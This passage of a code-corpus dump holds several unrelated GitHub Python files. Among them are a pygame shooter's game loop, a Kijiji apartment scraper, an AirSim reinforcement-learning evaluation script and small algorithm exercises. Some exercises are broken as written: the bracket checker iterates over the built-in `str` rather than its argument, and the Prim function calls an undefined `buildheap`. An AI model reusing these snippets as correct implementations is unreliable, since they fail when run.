mob in self.mobs:\n expl_sound.play()\n expl = Explosion(mob.rect.center, 'large')\n self.all_sprites.add(expl)\n mob.kill()\n #Spawn Enemy\n self.ufo = Enemy(self.all_sprites, self.enemy_bullets, 2)\n self.ufo.delay()\n self.all_sprites.add(self.ufo)\n\n # ROUND 3\n if self.boss1_killed and self.round3_active == False:\n self.round2_finished = True\n self.round3_text_timer = py.time.get_ticks()\n self.round3_active = True\n self.current_round = self.spawner(3)\n\n # ROUND 4 BOSS FIGHT\n if self.round4_active == False and self.score >= 1500:\n self.round4_active = True\n self.round4_text_timer = py.time.get_ticks()\n # Kill all mobs\n for mob in self.mobs:\n expl_sound.play()\n expl = Explosion(mob.rect.center, 'large')\n self.all_sprites.add(expl)\n mob.kill()\n # Spawn Enemy\n self.ufo = Enemy(self.all_sprites, self.enemy_bullets, 4)\n self.ufo.delay()\n self.all_sprites.add(self.ufo)\n\n # ROUND 5\n if self.boss2_killed and self.round5_active == False:\n self.round4_finished = True\n self.round5_text_timer = py.time.get_ticks()\n self.round5_active = True\n self.current_round = self.spawner(5)\n\n # FINAL BOSS\n if self.round6_active == False and self.score >= 2250:\n self.round6_active = True\n self.round6_text_timer = py.time.get_ticks()\n # Kill all mobs\n for mob in self.mobs:\n expl_sound.play()\n expl = Explosion(mob.rect.center, 'large')\n self.all_sprites.add(expl)\n mob.kill()\n # Spawn Enemy\n self.ufo = Enemy(self.all_sprites, self.enemy_bullets, 6)\n self.ufo.delay()\n self.all_sprites.add(self.ufo)\n\n # Check if player gets hit by the enemy boss bullets\n hits = py.sprite.spritecollide(self.player, self.enemy_bullets, True, py.sprite.collide_circle)\n for hit in hits:\n if not self.player.shield_active:\n self.player.shield -= 40\n expl = Explosion(hit.rect.center, 'small')\n expl_sound.play()\n self.all_sprites.add(expl)\n\n if self.player.shield <= 0:\n expl = Explosion(self.player.rect.center, 'mega')\n expl_sound.play()\n self.all_sprites.add(expl)\n self.player.hide()\n self.player.spawn_shield()\n self.player.power = 1\n self.player.lives -= 1\n if self.player.lives<= 0:\n self.player.shield = 0\n else:\n self.player.shield = 100\n\n\n # Check if enemy ufo gets hit by player bullets\n\n try:\n if self.ufo.alive():\n hits = py.sprite.spritecollide(self.ufo, self.bullets, True, py.sprite.collide_circle)\n\n for hit in hits:\n if not self.ufo.delay:\n\n if not self.ufo.shield_active:\n if self.player.power == 1:\n self.ufo.shield -= 20\n elif self.player.power == 2:\n self.ufo.shield -= 20\n elif self.player.power == 3:\n self.ufo.shield -= 20\n\n self.ufo.enemy_hit()\n\n if self.ufo.shield <= 0:\n if self.ufo.round == 6:\n self.boss3_killed = True\n elif self.ufo.round == 4:\n self.boss2_killed = True\n else:\n self.boss1_killed = True\n\n expl = Explosion(self.ufo.rect.center, 'mega')\n expl_sound.play()\n self.all_sprites.add(expl)\n self.ufo.kill()\n\n if random.random() > 0.9:\n pow = Powerup(hit.rect.center, self.score, self.player.lives)\n self.all_sprites.add(pow)\n self.powerups.add(pow)\n except:\n pass\n # check if bullet hits a mob\n hits = py.sprite.groupcollide(self.mobs, self.bullets, False, True)\n for hit in hits:\n # Add score\n if hit.radius == 51 or hit.radius == 42:\n self.score += 5\n if hit.radius == 18:\n self.score += 7\n if hit.radius == 11:\n self.score += 10\n if hit.radius == 7:\n self.score += 15\n\n\n # Drop Powerups\n if random.random() > 0.9:\n pow = Powerup(hit.rect.center, self.score, self.player.lives)\n self.all_sprites.add(pow)\n self.powerups.add(pow)\n\n # Reduce mob life\n hit.health-= self.player.damage\n\n if hit.health <= 0:\n expl_sound.play()\n expl = Explosion(hit.rect.center, 'large')\n self.all_sprites.add(expl)\n hit.kill()\n # Draw mob to screen\n mob = Mob(self.current_round)\n mob.hit = False\n self.all_sprites.add(mob)\n self.mobs.add(mob)\n\n # Check if mob hit player\n hits = py.sprite.spritecollide(self.player, self.mobs, True, py.sprite.collide_circle)\n for hit in hits:\n if not self.player.shield_active:\n self.player.shield -= hit.radius * 2\n expl = Explosion(hit.rect.center, 'small')\n expl_sound.play()\n self.all_sprites.add(expl)\n #Spawn mobs\n mob = Mob(self.current_round)\n self.all_sprites.add(mob)\n self.mobs.add(mob)\n\n if self.player.shield <= 0:\n expl = Explosion(self.player.rect.center, 'mega')\n expl_sound.play()\n self.all_sprites.add(expl)\n self.player.hide()\n self.player.spawn_shield()\n self.player.power = 1\n self.player.lives -= 1\n if self.player.lives<= 0:\n self.player.shield = 0\n else:\n self.player.shield = 100\n\n\n # Check if powerups are collected\n hits = py.sprite.spritecollide(self.player, self.powerups, True)\n for hit in hits:\n if hit.type == 'shield':\n self.player.shield += random.randrange(10, 30)\n if self.player.shield >= 100:\n self.player.shield = 100\n if hit.type == 'gunx2':\n self.player.powerup('gunx2')\n if hit.type == 'gunx3':\n self.player.powerup('gunx3')\n if hit.type == 'heart':\n if self.player.lives <= 2:\n self.player.lives += 1\n\n # Dead\n if self.player.lives <= 0 and not expl.alive():\n ret = self.game_over('game_over')\n if ret == 'main':\n self.ret = 'main'\n running = False\n if ret == 'instr':\n self.ret = 'instr'\n running = False\n #If game completed\n if self.boss3_killed and not expl.alive():\n ret = self.game_over('game_over')\n if ret == 'main':\n self.ret = 'main'\n running = False\n if ret == 'instr':\n self.ret = 'instr'\n running = False\n\n # Draw / render\n\n if self.round4_finished:\n display_screen.blit(mg1_background3, (0, 0))\n rel_y = self.bg_y % mg1_background3.get_rect().height\n display_screen.blit(mg1_background3, (0, rel_y - mg1_background3.get_rect().height))\n if rel_y < display_height:\n display_screen.blit(mg1_background3, (0, rel_y))\n self.bg_y += 1\n elif self.round2_finished:\n display_screen.blit(mg1_background2, (0, 0))\n rel_y = self.bg_y % mg1_background2.get_rect().height\n display_screen.blit(mg1_background2, (0, rel_y - mg1_background2.get_rect().height))\n if rel_y < display_height:\n display_screen.blit(mg1_background2, (0, rel_y))\n self.bg_y += 1\n else:\n display_screen.blit(bg, (0, 0))\n rel_y = self.bg_y % bg.get_rect().height\n display_screen.blit(bg, (0, rel_y - bg.get_rect().height))\n if rel_y < display_height:\n display_screen.blit(bg,(0, rel_y))\n self.bg_y += 1\n\n\n self.all_sprites.draw(display_screen)\n if self.player.shield_active == True:\n display_screen.blit(spawn_shield, (self.player.rect.centerx - 45, self.player.rect.top - 25))\n text_surface, text_rect = self.func.text_objects(str(self.score), small_text, WHITE)\n text_rect.center = (display_width/2, 10)\n display_screen.blit(text_surface, text_rect)\n self.draw_shield_bar(display_screen, display_width - 110,5, self.player.shield)\n self.draw_lives(display_screen, 5, 5, self.player.lives, Full_heart)\n\n try:\n if self.ufo.shield > 0 and self.round2_active:\n self.ufo.draw_shield_bar(display_screen, self.ufo.rect.centerx - 50, self.ufo.rect.bottom + 15,\n self.ufo.shield)\n if self.ufo.shield_active:\n text_object, text_rect = self.func.text_objects(\"SHIELD ACTIVATED\", small_text, WHITE)\n text_rect.center = (self.ufo.rect.centerx, self.ufo.rect.bottom + 35)\n display_screen.blit(text_object, text_rect)\n except:\n pass\n\n # TEXT BLITTER (ROUNDS)\n if self.round1_text:\n text_object, text_rect = self.func.text_objects(\"ROUND 1\", large_text, WHITE)\n text_rect.center = (display_width / 2, display_height / 2)\n display_screen.blit(text_object, text_rect)\n\n text_object, text_rect = self.func.text_objects(\"Meteor Rain\", medium_text, WHITE)\n text_rect.center = (display_width / 2, display_height / 2 + 50)\n display_screen.blit(text_object, text_rect)\n\n if self.round2_active == True and py.time.get_ticks() - self.round2_text_timer > 100 \\\n and py.time.get_ticks() - self.round2_text_timer < 3000:\n\n text_object, text_rect = self.func.text_objects(\"BOSS INCOMING\", large_text, WHITE)\n text_rect.center = (display_width / 2, display_height / 2)\n display_screen.blit(text_object, text_rect)\n\n text_object, text_rect = self.func.text_objects(\"Sepiroth The Great\", medium_text, WHITE)\n text_rect.center = (display_width / 2, display_height / 2 + 50)\n display_screen.blit(text_object, text_rect)\n\n if self.round3_active == True and py.time.get_ticks() - self.round3_text_timer > 100 \\\n and py.time.get_ticks() - self.round3_text_timer < 3000:\n\n text_object, text_rect = self.func.text_objects(\"ROUND 3\", large_text, WHITE)\n text_rect.center = (display_width / 2, display_height / 2)\n display_screen.blit(text_object, text_rect)\n\n text_object, text_rect = self.func.text_objects(\"Grey Asteroids\", medium_text, WHITE)\n text_rect.center = (display_width / 2, display_height / 2 + 50)\n display_screen.blit(text_object, text_rect)\n\n if self.round4_active == True and py.time.get_ticks() - self.round4_text_timer > 100 \\\n and py.time.get_ticks() - self.round4_text_timer < 3000:\n\n text_object, text_rect = self.func.text_objects(\"BOSS INCOMING\", large_text, WHITE)\n text_rect.center = (display_width / 2, display_height / 2)\n display_screen.blit(text_object, text_rect)\n\n text_object, text_rect = self.func.text_objects(\"Aether The Destroyer\", medium_text, WHITE)\n text_rect.center = (display_width / 2, display_height / 2 + 50)\n display_screen.blit(text_object, text_rect)\n\n if self.round5_active == True and py.time.get_ticks() - self.round5_text_timer > 100 \\\n and py.time.get_ticks() - self.round5_text_timer < 3000:\n\n text_object, text_rect = self.func.text_objects(\"ROUND 5\", large_text, WHITE)\n text_rect.center = (display_width / 2, display_height / 2)\n display_screen.blit(text_object, text_rect)\n\n text_object, text_rect = self.func.text_objects(\"AVOID THE LASERS !\", medium_text, WHITE)\n text_rect.center = (display_width / 2, display_height / 2 + 50)\n display_screen.blit(text_object, text_rect)\n\n if self.round6_active == True and py.time.get_ticks() - self.round6_text_timer > 100 \\\n and py.time.get_ticks() - self.round6_text_timer < 3000:\n text_object, text_rect = self.func.text_objects(\"BOSS INCOMING\", large_text, WHITE)\n text_rect.center = (display_width / 2, display_height / 2)\n display_screen.blit(text_object, text_rect)\n\n text_object, text_rect = self.func.text_objects(\"BERAVDB\", medium_text, WHITE)\n text_rect.center = (display_width / 2, display_height / 2 + 50)\n display_screen.blit(text_object, text_rect)\n # *after* drawing everything, flip the display\n clock.tick(FPS)\n py.display.flip()\n\n # Check if paused\n if self.state == 'pause':\n ret = self.game_over('pause')\n if ret == 'main':\n self.ret = 'main'\n running = False\n if ret == 'instr':\n self.ret = 'instr'\n running = False\n\n display_screen.blit(bg, (0,0))\n py.display.update()\n return self.ret","repo_name":"TimO143/Project-2-Pygame","sub_path":"Game project 2 2018 informatica/game/Menu/MG1_Game.py","file_name":"MG1_Game.py","file_ext":"py","file_size_in_byte":25792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"17056122992","text":"\"\"\"\nwrite a function that:\n - iterates through a string\n - compares each character with the characters seen before\n - evaluates that each opening character has an equal closing\n charater\n - the string/list contains contain an unordered list of the characters \"[({})]\".\n - true/false question\n - TRUTH: the character is in the closing types group.\n - FALSE: the character is in the opening types group.\n\"\"\"\n\n\ndef balanced_brackets(s: str) -> bool:\n # create containers, cursors, and or temp val holders\n opening_bracket_mapper = {\")\": \"(\", \"]\": \"[\", \"}\": \"{\"}\n bracket_stack = []\n\n # iterate through string\n for bracket in str:\n if bracket in opening_bracket_mapper.keys():\n if bracket_stack and (bracket_stack.pop() != opening_bracket_mapper[bracket]):\n return False\n else:\n\n bracket_stack.append(bracket)\n else:\n bracket_stack.append(bracket)\n if bracket_stack:\n return False\n else:\n return True\n","repo_name":"lmcdonough/algorithms","sub_path":"copy_1/balanced_brackets.py","file_name":"balanced_brackets.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"11573502179","text":"import pandas as pd\nimport sys\nimport re\n\nfilenames = open(sys.argv[1])\n\ncounts = [['c', 'n', 'l']]\nprops = [['c', 'l']] # proportion out of political content\n\nprint(filenames)\nfor name in filenames:\n print(name)\n name = 'classifications/'+name[:-1]\n f = [line for line in open(name) if 'RACHANA_TAG' in line]\n\n ccnt = lcnt = ncnt = 0\n handle_tweet_dict = {}\n\n for line in f:\n words = line.split(' ', 2)\n handle = re.sub(' Retweeted', '', words[2])\n if handle not in handle_tweet_dict:\n handle_tweet_dict[handle] = 1\n else:\n handle_tweet_dict[handle] = handle_tweet_dict[handle] + 1\n if words[1] == 'RACHANA_TAGc':\n ccnt += 1\n elif words[1] == 'RACHANA_TAGn':\n ncnt += 1\n elif words[1] == 'RACHANA_TAGl':\n lcnt += 1\n else:\n print(\"Nothing matched: \" + words[0])\n\n counts.append([ccnt, ncnt, lcnt])\n cprop = ccnt/(ccnt+lcnt)\n lprop = lcnt/(ccnt+lcnt)\n props.append([cprop, lprop])\n\nprint(counts)\nheaders = counts.pop(0)\ndfcount = pd.DataFrame(counts, columns=headers)\n\nheaders = props.pop(0)\ndfprops = pd.DataFrame(props, columns=headers)\n\noutput = 'output.xlsx'\nwriter = pd.ExcelWriter(output)\ndfcount.to_excel(writer,'Sheet1')\ndfprops.to_excel(writer,'Sheet2')\n","repo_name":"rachana-b/Twitter-Research","sub_path":"cnlstats.py","file_name":"cnlstats.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"14050386757","text":"# -*- coding: utf-8 -*-\n\nimport sys\nfrom priorityqueue import PriorityQueue\nfrom graph import Vertex, Graph\n\ndef prim(g, start):\n pq = PriorityQueue()\n for v in g:\n v.setPred(None)\n v.setdistance(sys.maxsize)\n start.setdistance(0)\n pq = buildheap([(v.getdistance(), v) for v in g])\n while not pq.isEmpty():\n currentvert = pq.delmin()\n for nextvert in currentvert.get_connections():\n newcost = currentvert.get_weight(nextvert)\n if nextvert in pq and newcost < nextvert.getdistance():\n nextvert.setpred(currentvert)\n nextvert.setdistance(newcost)\n pq.decreasekey(nextvert, newcost)","repo_name":"taoing/python_code","sub_path":"3.0 python_structure/graphs/7.0 prim.py","file_name":"7.0 prim.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"71476936362","text":"# Chapter 11, programming exercise 8\n# This program removes duplicate values \n# from a list. \n\ndef removeDuplicates(somelist):\n newList = []\n for elem in somelist:\n if elem not in newList:\n newList.append(elem)\n somelist[:] = newList\n\ndef main():\n print(\"\\nThis program will remove duplicate values from a given list.\\n\")\n somelist = [12, 465, 33, 78, 12, 31, 13, 27, 45, 27, 62, 99]\n print(\"The initial list was\", somelist, \".\\n\")\n \n removeDuplicates(somelist)\n \n print(\"The duplicate values have been removed from the list.\\n The new list is: \", somelist, \".\")\n\nif __name__ == '__main__':\n main()","repo_name":"dashaevsina/HW070172","sub_path":"L06/Chapter 11 Programming exercise 8).py","file_name":"Chapter 11 Programming exercise 8).py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"28535469167","text":"import requests\nfrom bs4 import BeautifulSoup\nimport time\n\nfrom Model.database import push_data_to_db\nfrom Sheets.google_sheets import push_to_gsheets\nfrom config import MAIN_URL, HEADERS\n\n\ndef get_all_urls(url: str, headers: dict) -> list: # Generate a package of needed URLs\n try:\n r = requests.get(url=url, headers=headers)\n main_page = BeautifulSoup(r.text, \"lxml\")\n count = main_page.find(class_=\"resultsShowingCount-1707762110\").text\n count = int(count.split('of')[1].split('result')[0].strip()) // 40 + 1\n except:\n count = 1\n print('Page count :', count)\n all_urls = [\n f'https://www.kijiji.ca/b-apartments-condos/city-of-toronto/page-{i}/c37l1700273' for i in range(1, count + 1)\n ]\n\n return all_urls\n \n\ndef parse(url: str, headers: dict) -> list: # Scraping data from the page\n r = requests.get(url=url, headers=headers)\n page = BeautifulSoup(r.text, \"lxml\")\n aparts = page.find_all('div', class_='search-item') # Get all the apartments on the page\n data = list()\n\n for apart in aparts: # Get the necessary information from each apartment\n dct = dict()\n price = apart.find(class_='price').text.strip().replace(',', '')\n dct['title'] = apart.find(class_='title').text.strip()\n dct['price'] = price[1:] if price.startswith('$') else None\n dct['currency_type'] = price[0] if price.startswith('$') else None\n dct['location'] = apart.find(class_='location').find('span').text.strip()\n date = apart.find(class_='location').find('span', class_=\"date-posted\").text.strip()\n dct['date'] = date.replace('/', '-') if len(date.split('/')) == 3 else time.strftime(\"%d/%m/%Y\").replace('/', '-')\n dct['bedrooms'] = apart.find(class_='bedrooms').text.split()[1]\n dct['descr'] = apart.find(class_=\"description\").text.split('...')[0].strip() + '...'\n try:\n dct['image_url'] = apart.find(class_='image').find('img')['data-src']\n except KeyError:\n dct['image_url'] = None\n data.append(dct)\n\n return data\n\n\ndef main():\n start = time.time()\n urls = get_all_urls(url=MAIN_URL, headers=HEADERS) # Get URLs list\n res = []\n for url in urls: # Parse all the page\n data = parse(url=url, headers=HEADERS)\n res.extend(data)\n\n duration = round(time.time() - start, 3) # Duration in seconds\n push_data_to_db(res) # Save data to db\n push_to_gsheets(res) # Save data to Google Sheets\n\n print(f'Quantity of apartments: {len(res)}')\n print(f'Scraping duration: {duration} s')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"enerush/Async-scraper","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":2665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"16489915560","text":"# coding=utf-8\nfrom plone.app.contenttypes.interfaces import IEvent\nfrom plone.autoform.interfaces import IFormFieldProvider\nfrom zope import schema\nfrom zope.interface import alsoProvides\n\n\nclass IPloneIntranetEvent(IEvent):\n \"\"\"Additional fields for PloneIntranet events\n \"\"\"\n agenda_items = schema.List(\n title=u\"Agenda Items\",\n description=u\"Items associated with this event\",\n required=False,\n default=[],\n )\n\n organizer = schema.TextLine(\n title=u'Organizer',\n description=u'The user id of the event organizer',\n required=False,\n )\n\n invitees = schema.TextLine(\n title=u'Invitees',\n description=u'Members who are invited to the event',\n required=False,\n )\n\nalsoProvides(IPloneIntranetEvent, IFormFieldProvider)\n","repo_name":"ploneintranet/ploneintranet","sub_path":"src/ploneintranet/workspace/behaviors/event.py","file_name":"event.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"19"} +{"seq_id":"41447014733","text":"import utils.setup_path\nimport gym\nimport airgym\nimport time\nfrom torch import nn\nimport torch as th\n\nfrom stable_baselines3 import SAC\nfrom stable_baselines3.common.monitor import Monitor\nfrom stable_baselines3.common.vec_env import DummyVecEnv, VecTransposeImage\nfrom stable_baselines3.common.evaluation import evaluate_policy\nfrom stable_baselines3.common.callbacks import EvalCallback, CheckpointCallback, CallbackList, StopTrainingOnMaxEpisodes\nfrom stable_baselines3.common.torch_layers import BaseFeaturesExtractor\nfrom stable_baselines3.common.vec_env import VecFrameStack\n\nfrom utils.EpisodeCheckpointCallback import EpisodeCheckpointCallback\n\nimport argparse\nimport json\nfrom subprocess import Popen\nimport numpy as np\nimport os\nfrom collections import OrderedDict\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-t\", \"--track\", help=\"which track will be used, 0~2\", type=int, default=1)\nparser.add_argument(\"-i\", \"--intersection\", help=\"which intersection car is in\", type=int, default=1)\nparser.add_argument(\"-l\", \"--log_name\", help=\"modified log name\", type=str, nargs='?')\nparser.add_argument(\"-m\", \"--model\", help=\"model path\", type=str)\nargs = parser.parse_args()\n\nwith open(\"settings.json\") as f:\n settings = json.load(f)\n#settings[\"ViewMode\"] = \"SpringArmChase\"\nsettings[\"ViewMode\"] = \"NoDisplay\"\nCar = settings[\"Vehicles\"][\"Car1\"]\nif args.track == 1:\n if args.intersection == 1:\n Car[\"X\"], Car[\"Y\"], Car[\"Z\"], Car[\"Yaw\"] = (0, 0, 0, 180)\n elif args.intersection == 2:\n Car[\"X\"], Car[\"Y\"], Car[\"Z\"], Car[\"Yaw\"] = (-127, 0, 0, 270)\n elif args.intersection == 3:\n Car[\"X\"], Car[\"Y\"], Car[\"Z\"], Car[\"Yaw\"] = (-127, -128, 0, 0)\n elif args.intersection == 4:\n Car[\"X\"], Car[\"Y\"], Car[\"Z\"], Car[\"Yaw\"] = (0, -128, 0, 90)\n else:\n Car[\"X\"], Car[\"Y\"], Car[\"Z\"], Car[\"Yaw\"] = (0, 0, 0, 180)\nsettings[\"Vehicles\"][\"Car1\"] = Car\nwith open(\"settings.json\", \"w\") as f:\n json.dump(settings, f, indent=4)\n\nprint(Popen(\"./Environment.sh\"))\ntime.sleep(7) #wait for airsim opening\"\n\n# Create a DummyVecEnv for main airsim gym env\nenv = gym.make(\n \"airgym:airsim-car-cont-action-sample-v0\",\n ip_address=\"127.0.0.1\",\n image_shape=(84, 84, 1),\n )\nenv.env.setkwargs(track = args.track)\nenv.env.setInitialPos(Car[\"X\"], Car[\"Y\"], Car[\"Z\"])\nenv = DummyVecEnv(\n [\n lambda: Monitor(\n env\n )\n ]\n)\n\n# Frame-stacking with 4 frames\nenv = VecFrameStack(env, n_stack=4)\n\n# Wrap env as VecTransposeImage to allow SB to handle frame observations\nenv = VecTransposeImage(env)\n \ndef npz_path_to_model(model, path) -> None:\n npy = np.load(path)\n npy = [npy[FileName] for FileName in npy.files]\n params_dict = zip(model.policy.state_dict().keys(), npy)\n state_dict = OrderedDict({k: th.tensor(v) for k, v in params_dict})\n model.policy.load_state_dict(state_dict, strict=True)\n \nmodel_path = args.model\nprint(\"loding evaluation path: \", model_path)\nmodel_name = model_path.split('/')[-1].split('.')[0]\nprint(\"loding evaluation model name: \", model_name)\n\nif not os.path.isdir('eval_logs'):\n os.mkdir('eval_logs')\n\n# Initialize RL algorithm type and parameters\nmodel = SAC( #action should be continue\n \"CnnPolicy\",\n env,\n learning_rate=0.0003,\n verbose=1,\n batch_size=64,\n train_freq=1,\n learning_starts=50, #testing origin 1000\n buffer_size=200000,\n device=\"auto\",\n tensorboard_log=\"./eval_logs/\",\n)\n\n#load SAC model(.npz) to model\nnpz_path_to_model(model, model_path)\n\n# Create an evaluation callback with the same env, called every 10000 iterations\ncallback_list = []\neval_callback = EvalCallback(\n env,\n callback_on_new_best=None,\n n_eval_episodes=5,\n best_model_save_path=\".\",\n log_path=\".\",\n eval_freq=10000,\n verbose = 1\n)\ncallback_list.append(eval_callback)\n\n# Save a checkpoint every 1000 steps\nep_checkpoint_callback = EpisodeCheckpointCallback(\n check_episodes=1e3,\n save_path=\"./checkpoint/\",\n name_prefix=\"rl_model\",\n save_replay_buffer=True,\n save_vecnormalize=True,\n verbose=2\n)\n#callback_list.append(ep_checkpoint_callback)\n\n# Stops training when the model reaches the maximum number of episodes\ncallback_max_episodes = StopTrainingOnMaxEpisodes(max_episodes=1e4, verbose=1)\n#callback_list.append(callback_max_episodes)\n\ncallback = CallbackList(callback_list)\n\n# Train for a certain number of timesteps\nmodel.learn(\n total_timesteps=2e4, tb_log_name=f\"inter{args.intersection}\" + f\"_{model_name}_{args.log_name}\", callback = callback\n)\n","repo_name":"wulonmt/Fed_SAC","sub_path":"evaluate_FedSAC.py","file_name":"evaluate_FedSAC.py","file_ext":"py","file_size_in_byte":4564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"46712014448","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nimport os\nimport time\nfrom glob import glob\nfrom os import makedirs, environ\nfrom os.path import join, exists, split, isfile\nfrom scipy.misc import imread, imresize, imsave, imrotate\nimport logging\nfrom collections import OrderedDict\nimport cv2\n\nfrom model import VGGMOD,SR\nfrom swap import *\n\ntorch.set_default_dtype(torch.float32)\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\n\ninput_dir = 'im1.png'\nref_dir = 'im2.png'\n\nmap_path = 'map.npz'\n\nuse_gpu = True\nis_original_image = True\n\nswaper = Swap()\nvggmodel = VGGMOD()\nsrmodel = SR()\n\nif use_gpu:\n vggmodel.cuda()\n srmodel.cuda()\n\n# check input_dir\nimg_input, img_hr = None, None\nif isinstance(input_dir, np.ndarray):\n assert len(input_dir.shape) == 3\n img_input = np.copy(input_dir)\nelif isfile(input_dir):\n img_input = imread(input_dir, mode='RGB')\nelse:\n logging.error('Unrecognized input_dir %s' % input_dir)\n exit(0)\n\nh, w, _ = img_input.shape\nif is_original_image:\n # ensure that the size of img_input can be divided by 4 with no remainder\n h = int(h // 4 * 4)\n w = int(w // 4 * 4)\n img_hr = img_input[0:h, 0:w, ::]\n img_input = imresize(img_hr, .25, interp='bicubic')\n h, w, _ = img_input.shape\nimg_input_copy = np.copy(img_input)\n\n# ref img\nis_ref = True\nif ref_dir is None:\n is_ref = False\n ref_dir = input_dir\n\nimg_ref = []\n\nif not isinstance(ref_dir, (list, tuple)):\n ref_dir = [ref_dir]\n\nfor ref in ref_dir:\n if isinstance(ref, np.ndarray):\n assert len(ref.shape) == 3\n img_ref.append(np.copy(ref))\n elif isfile(ref):\n img_ref.append(imread(ref, mode='RGB'))\n else:\n logging.info('Unrecognized ref_dir type!')\n exit(0)\n\nfor i in range(len(img_ref)):\n h2, w2, _ = img_ref[i].shape\n h2 = int(h2 // 4 * 4)\n w2 = int(w2 // 4 * 4)\n img_ref[i] = img_ref[i][0:h2, 0:w2, ::]\n if not is_ref and is_original_image:\n img_ref[i] = imresize(img_ref[i], .25, interp='bicubic')\n\nimg_input_sr = imresize(img_input, 4.0, interp='bicubic')\nimg_ref_sr = []\nfor i in img_ref:\n img_ref_downscale = imresize(i, .25, interp='bicubic')\n img_ref_sr.append(imresize(img_ref_downscale, 4.0, interp='bicubic'))\n\n\nvggmodel.load_state_dict(torch.load('VGGMOD.pth'))\n\n\nwith torch.no_grad():\n if not exists(map_path):\n\n if use_gpu:\n map_in_sr, _, map_in_sr_2 = vggmodel(torch.Tensor(img_input_sr).unsqueeze(0).permute(0,3,1,2).cuda())\n map_ref = vggmodel(torch.Tensor(img_ref[0]).unsqueeze(0).permute(0,3,1,2).cuda())\n map_ref_sr, _, map_ref_sr_2 = vggmodel(torch.Tensor(img_ref_sr[0]).unsqueeze(0).permute(0,3,1,2).cuda())\n else:\n map_in_sr, _, _ = vggmodel(torch.Tensor(img_input_sr).unsqueeze(0).permute(0,3,1,2))\n map_ref = vggmodel(torch.Tensor(img_ref[0]).unsqueeze(0).permute(0,3,1,2))\n map_ref_sr, _, _ = vggmodel(torch.Tensor(img_ref_sr[0]).unsqueeze(0).permute(0,3,1,2))\n\n if not exists('samples_test'):\n makedirs('samples_test')\n imsave('samples_test/inp_hr.png', img_hr)\n imsave('samples_test/inp_lr.png', img_input)\n imsave('samples_test/inp_sr.png', img_input_sr)\n imsave('samples_test/ref_hr.png', img_ref[0])\n imsave('samples_test/ref_sr.png', img_ref_sr[0])\n\n\n # patch matching and swapping\n other_style = []\n for m in map_ref[1:]:\n other_style.append([m.cpu().numpy().squeeze().transpose(1, 2, 0)])\n map_ref_tmp = []\n for m in map_ref:\n map_ref_tmp.append([m.cpu().numpy().squeeze().transpose(1, 2, 0)])\n map_ref = map_ref_tmp\n map_in_sr = map_in_sr.cpu().numpy().squeeze().transpose(1, 2, 0)\n map_ref_sr = map_ref_sr.cpu().numpy().squeeze().transpose(1, 2, 0)\n\n maps, weights, correspondence = swaper.conditional_swap_multi_layer(\n content=map_in_sr,\n style=[map_ref[0]],\n condition=[map_ref_sr],\n other_styles=other_style\n )\n\n np.savez(map_path, target_map=maps, weights=[], correspondence=[])\n else:\n print('existing maps. Loading....')\n maps = np.load(map_path, allow_pickle=True)['target_map']\n\n if use_gpu:\n input_lr = torch.Tensor((img_input /127.5)-1).unsqueeze(0).permute(0, 3, 1, 2).cuda()\n input_maps = [torch.tensor(b).float().unsqueeze(0).permute(0, 3, 1, 2).cuda() for b in maps]\n else:\n input_lr = torch.Tensor((img_input /127.5)-1).unsqueeze(0).permute(0, 3, 1, 2)\n input_maps = [torch.tensor(b).float().unsqueeze(0).permute(0, 3, 1, 2) for b in maps]\n\n\n # test model\n load_net = torch.load('sr_model_final.pth')\n load_net_clean = OrderedDict() # remove unnecessary 'module.'\n\n for k, v in load_net.items():\n if k.startswith('module.'):\n load_net_clean[k[7:]] = v\n else:\n load_net_clean[k] = v\n\n srmodel.load_state_dict(load_net_clean, strict=True)\n upscale, output = srmodel(input_lr, input_maps)\n im_out = output.cpu().numpy().squeeze().transpose(1,2,0)\n im_up = upscale.cpu().numpy().squeeze().transpose(1,2,0)\n\n save_path = 'sample_test'\n\n if not exists(save_path):\n makedirs(save_path)\n imsave(save_path + '/output'+str(i)+'.png', ((im_out+1)*127.5).astype(np.uint8))\n\n imsave(save_path + '/upscale'+'.png', ((im_up+1)*127.5).astype(np.uint8))\n imsave(save_path + '/HR.png', img_hr)\n imsave(save_path + '/bicubic.png', img_input_sr)\n\n\n","repo_name":"xyc2690/SRNTT_Pytorch","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":5492,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"19"} +{"seq_id":"70914516202","text":"\"\"\"\n# VLSIR ProtoBuf Schema Export\n\"\"\"\n\n# Std-Lib Imports\nfrom typing import List, Union, Sequence\nfrom decimal import Decimal\n\n# VLSIR Import\nimport vlsir\nimport vlsir.circuit_pb2 as vckt\nimport vlsir.spice_pb2 as vsp\n\n# Local Imports\nfrom ..one_or_more import OneOrMore\nfrom . import data\nfrom ..literal import Literal\nfrom ..prefix import Prefixed\nfrom ..scalar import Scalar\nfrom ..signal import Signal\nfrom ..connect import is_connectable\n\n\ndef to_proto(inp: OneOrMore[data.Sim]) -> OneOrMore[vsp.SimInput]:\n \"\"\"Convert a `Sim` to a VLSIR `SimInput`\"\"\"\n from ..proto import to_proto as module_to_proto\n\n # Convert the testbench module and all its dependencies into a `Package`\n single_input = False\n if not isinstance(inp, Sequence):\n inp = [inp]\n single_input = True\n\n # 